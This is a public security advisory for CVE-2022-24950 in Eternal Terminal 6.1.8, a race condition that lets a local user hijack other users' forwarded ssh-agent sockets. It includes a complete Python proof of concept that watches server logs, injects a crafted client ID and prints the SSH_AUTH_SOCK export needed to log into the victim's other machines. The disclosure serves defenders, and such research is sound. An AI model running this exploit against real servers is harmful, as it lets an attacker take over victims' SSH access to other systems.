metaredteam / external-disclosures Public

Code Pull requests Security 40 Insights

Eternal Terminal SSH Authorization Socket Hijacking

High vladionescu published GHSA-85gw-pchc-4rf3 on Jul 20

Package

Eternal Terminal (C++)

Affected versions	Patched versions
6.1.8	6.1.9

Description

Vulnerability Description:

An authenticated attacker can utilize the local IPC socket on the Eternal Terminal server to invoke a race condition when other users login, resulting in ownership of forwarded ssh-agent sockets being transferred to the attacker. The attacker can then utilize this socket to login to any other machine that the targeted user could normally log into via SSH.

The issue is due to a logic bug in `UserTerminalRouter::getInfoForId()` where the user info for a client connection is pulled from a mutable `unordered_map` named `idInfoMap` . This user info is retrieved in `TerminalServer::run()` and later passed to `pipeSocketHandler::listen()` in order to set permissions properly on the forwarded SSH socket. A local attacker can monitor logs to reliably modify the contents of `idInfoMap` such that the forwarded SSH socket ownership is given to the attacker.

One interesting side effect of the PoC as it's written is that the victim will be given a session as the attacker upon logging on. There may be ways to mitigate this (including modifying shell startup, login procedure, etc.)

To run the proof of concept log in as an unprivileged user on the server Eternal Terminal and run the script. It will change the permissions of the forwarded SSH socket created by Eternal Terminal which you can use to subsequently log into other machines the victim can access.

Proof of Concept:

```
#!/usr/bin/env python3
import time
import os
import argparse
import sys
import subprocess
import threading
import glob
import pwd


parser = argparse.ArgumentParser(description='[*] Hijack SSH_AUTH_SOCK of ET users as they
log in')
args = parser.parse_args()

def get_username():
    return pwd.getpwuid( os.getuid() )[ 0 ]

#determine log file to watch
def determine_latest_log():
    logs = glob.glob('/tmp/etserver-*')
    max_mtime = 0
    for log_name in logs:
        mtime = os.stat(log_name).st_mtime
        if mtime > max_mtime:
            max_mtime = mtime
            latest_log = log_name
    print(f'[*] Found log {latest_log}')
    return latest_log


#poll logs and watch for new client registrations
def follow_log(log_name):
    print(f'[*] Watching for logins..')
    with open(log_name, 'r') as f:
        f.seek(0,2) #End of file
        while True:
            line = f.readline()
            if not line:
                time.sleep(0.01)
            elif 'Got client with id: ' in line:
                client_id = line.split('Got client with id: ')[1].rstrip('\n')
                print("Modifying idInfoMap mapping")
                echo = subprocess.Popen(["echo",
f'{client_id}/E59AD03E34FC3AB9DED568F47EA27677_xterm-256color\n'], stdout=subprocess.PIPE)
                etterminal = subprocess.Popen(["/bin/etterminal", "&"], stdin=echo.stdout,
close_fds=True)
                print("[*] Testing for race success")
                while True:
                    line = f.readline()
                    if not line:
                        time.sleep(0.01)
                    elif 'Creating pipe at ' in line:
                        socket_name = line.split('Creating pipe at ')[1].rstrip('\n')
                        if check_permissions_on_socket(socket_name):
                            print(f'[*] We good ^_^. Run the command shown below then SSH
into your target.')
                            print(f'export SSH_AUTH_SOCK={socket_name}')
                            exit(1)
                        else:
                            print(f'Sorry, something went wrong! :(')
                            exit(1)

def check_permissions_on_socket(socket_name):
    return get_username() == pwd.getpwuid(os.stat(socket_name).st_uid).pw_name


latest_log = determine_latest_log()
follow_log(latest_log)
```

Timeline:

10/29/21: Vulnerabilities were disclosed to author of ET
11/3/21: Partial fixes for the most serious issues to ET were released (including this one)
1/27/22: 90 day deadline for public disclosure reached

Severity

High

CVE ID

CVE-2022-24950

Weaknesses

No CWEs

Credits

adi-ajit